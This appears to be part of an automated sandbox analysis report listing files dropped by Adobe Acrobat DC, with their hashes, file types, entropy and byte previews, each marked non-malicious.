Preview:	2025/01/10-18:06:08.212 10ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:06:08.229 10ac Recovering log #3.2025/01/10-18:06:08.242 10ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438955914985404
Encrypted:	false
SSDEEP:	384:yeaci5GJW0QHiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmz5:1JW0Q/urVgazUpUTTGt
MD5:	4BE37C01E31B120EC10D67E90FC9DC30
SHA1:	15C31273655F8DB8E54F884CE9A75E4C00ED7F1E
SHA-256:	1F33090CEB90126EC141B063BBE096A46B337A6F2FF820CB9CAD02AA12B80056
SHA-512:	FFDEAB06F40236A4EA895787362C2859EDCFBD3DA2EE675BBDDCD50A642F1B38332E75A4174C83DD28398E59AE334BF0F5564758FDBC3A454340756EE3AB0983
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.775177373118464
Encrypted:	false
SSDEEP:	48:7MNp/E2ioyV6eioy3DoWoy1CABoy1fNKOioy1noy1AYoy1Wioy1hioybioyp/oyb:7Gpju6e0iAT/XKQutmb9IVXEBodRBkA
MD5:	918B28D8C4A2071E1F5E10FA2905E092
SHA1:	35E4ED20F494E25618206509D03ECB48503A9AC2
SHA-256:	80359E5D020E5DDCBEC34AD03E878BC297ACFE9E960743F5121391FE2F044C19
SHA-512:	F7FE37A9177180849A8508DF9FC5D212C3212F150655FC1F25E79A06A0DDA26CEAB284AA1D1CFFC397F91F3C6E6DBE4D8FCAE943ABC319C51B36716928F17A74
Malicious:	false
Preview:	.... .c......GU................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklEdGlgpllltfllXlE/HT8k3J1NNX8RolJuRdxLlGB9lQRYwpDdt:kKddGyL/eT88J7NMa8RdWBwRd
MD5:	098A77D35551356E450D211B74C85824
SHA1:	7ECFDF565D291034391EA51829EBF39DD9BA12A0
SHA-256:	D23C955AC298C68F4023FB0717DA7A9D19F262BD3A8EDFE6CD4C3E1EB5C1775F
SHA-512:	6A83DA4660723489307A30FDD9CEF4E7D41642D06038E3C3AEB6D3DA7CDB654B1B9EC1D00D9A7F2C03898EB57BE3D700C3346EF120430CBEC9B0C76DEAA94AD2
Malicious:	false
Preview:	p...... .........x#@.c..(....................................................... ..........W....=...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.220782461797862
Encrypted:	false
SSDEEP:	6:kKBy+sL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:c+siDImsLNkPlE99SNxAhUe/3
MD5:	94D6B016968F2783AD1121DB2E0C5A69
SHA1:	2329E0973CE2B1140E61EBED55CB0A4DD0300FC3
SHA-256:	F0C3AA9B4CFA96C0136A9CADC84CD63F30ADE776B8B96D0864CEF0C589491C92
SHA-512:	B90B2BDCB82468EB891F268245A2FB99C63443E442C21B6412A33733C5101B381E21CE7966FC16D46E9805AF444ED4AC1C11D55D390F4FA89511DDDCE4EE4D76
Malicious:	false
Preview:	p...... ........dKhR.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4208

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4208

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3976630183697605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJM3g98kUwPeUkwRe9:YvXKXFAMUe4WsdTeOcAGMbLUkee9
MD5:	9461E50A33F477434F76C5A634E61B09
SHA1:	442ED5DA524940E097B41B2E7532EBD98F0BA90D
SHA-256:	351D6AFBBAC359438ADAEA5D002B4A1F8CEB4582F3170079835C25CB2D55F2B1
SHA-512:	DC5644C93B045FDF7506AF248912FEFCC96FB9F3F29635A6533C6638C4A1719DF31D2E6C26FA93202B4BD6C9FD594790F94987C3A55182A16693309BDCE27BBB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.336704201114203
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJfBoTfXpnrPeUkwRe9:YvXKXFAMUe4WsdTeOcAGWTfXcUkee9
MD5:	EF0317F2AE570DB60B17859925FCCD8D
SHA1:	B92144174227EDAE463317FDE85DD250B8BF568A
SHA-256:	C3EEB34EA0F8F40BEC03A10C7425459212B9F6C8E7106C796440577C03FFF836
SHA-512:	B3644AD7A71B3A1D6FFD0550EA8F02C1E3841CDD3FF28EC31E42497F3D236DD9C3236BCDA945EC61B21E575E3526C841A424F1299148F6DE5E60763FC9B364CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31559505372496
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJfBD2G6UpnrPeUkwRe9:YvXKXFAMUe4WsdTeOcAGR22cUkee9
MD5:	75B182F9E3766A1408148ECFCD3B028D
SHA1:	8423E14E155FAE064EC5BE2A26C7140BDAB234CF
SHA-256:	C0DB9F866F513FC9A8D6C332C36DFD7E76319EA498A5B29F552022405D19DBEC
SHA-512:	50D2B2E5CFBEF7050DEBCC93598F0DCEED36210E5DE08B8508DCEED139238400D025F354752AFB721F3E4ACE165384B5BEF4DF30D855B114692FF6A83A6FB892
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.38574481738607
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJfPmwrPeUkwRe9:YvXKXFAMUe4WsdTeOcAGH56Ukee9
MD5:	103FBC1A911A786F36B7EC56593F3A4E
SHA1:	674EA3F480CE205299B76A98D083DA35380C83DB
SHA-256:	0132C3ACB766ED9C3DAF386E0851CD4AECC10D24F2D64588C0135A8ADDC55D73
SHA-512:	D80CA385F550C6DD8CF565D3B151A0F8F290D9A5F68A7050FD6DEF7FCF7FD773269ECF4BB59575F0707C79574845045686C48FC2DF48AE0E66C1B00FBE27CE86
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.697877915151786
Encrypted:	false
SSDEEP:	24:Yv6Xse4WmeOcdpLgE9cQx8LennAvzBvkn0RCmK8czOCCSs:YvJ5VeDdhgy6SAFv5Ah8cv/s
MD5:	58016A9F890BBEE616BE01ADB0DD17A7
SHA1:	C3E586E2243F0E40488CA24D6C23F845BA3C4C28
SHA-256:	6C2116998F3560D06666BB9CF09A9E9075F1FDCCE62FC8B98757616C6085458C
SHA-512:	15A379EA4C6D5BF6C0473819ADF129F9EDFCBBE2EA31511C060288B31B039D63297E64CFE3CF8857BD9B26ED4E45E902524369214C98FFF6846654AFD7C63593
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323592401355522
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJf8dPeUkwRe9:YvXKXFAMUe4WsdTeOcAGU8Ukee9
MD5:	BC3A21C2D8AE129D1894C06BAA13845E
SHA1:	2802B02073AA38F4A8FD91352D2ABA735E7E8BC2
SHA-256:	8E9F70A4C781FE5F750F2936F5961D839E9CF66B447ABEEE2AA6ADEEA17CE985
SHA-512:	77C4934F4553DB10F89AB3E868C011E453CCDA58C4FEC37F385AF2CDA463B9012CA55FAF751A3EB6584791D162ED291EC35C7EC5BB4408F2FA3293671B44D319
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.327541448690075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJfQ1rPeUkwRe9:YvXKXFAMUe4WsdTeOcAGY16Ukee9
MD5:	C0240F22FFB97A4DF39E310CCBBCAAE4
SHA1:	F2C9498E9FE4118C38AEA37F32E0CE0808D59BFF
SHA-256:	6330CEE7184DD7863050AEE4B1FA4234AE47FC96BCBA6A47458BC0C984DDE781
SHA-512:	E06E4361A1B6C4C393D8D3E76270B215DBEF78366749E76E11EF3DA9301D6230D4590697D6060198BFCA1245A2B727EE5C6E2B7599A1E2652AFBDC4B272BF0FD
Malicious:	false
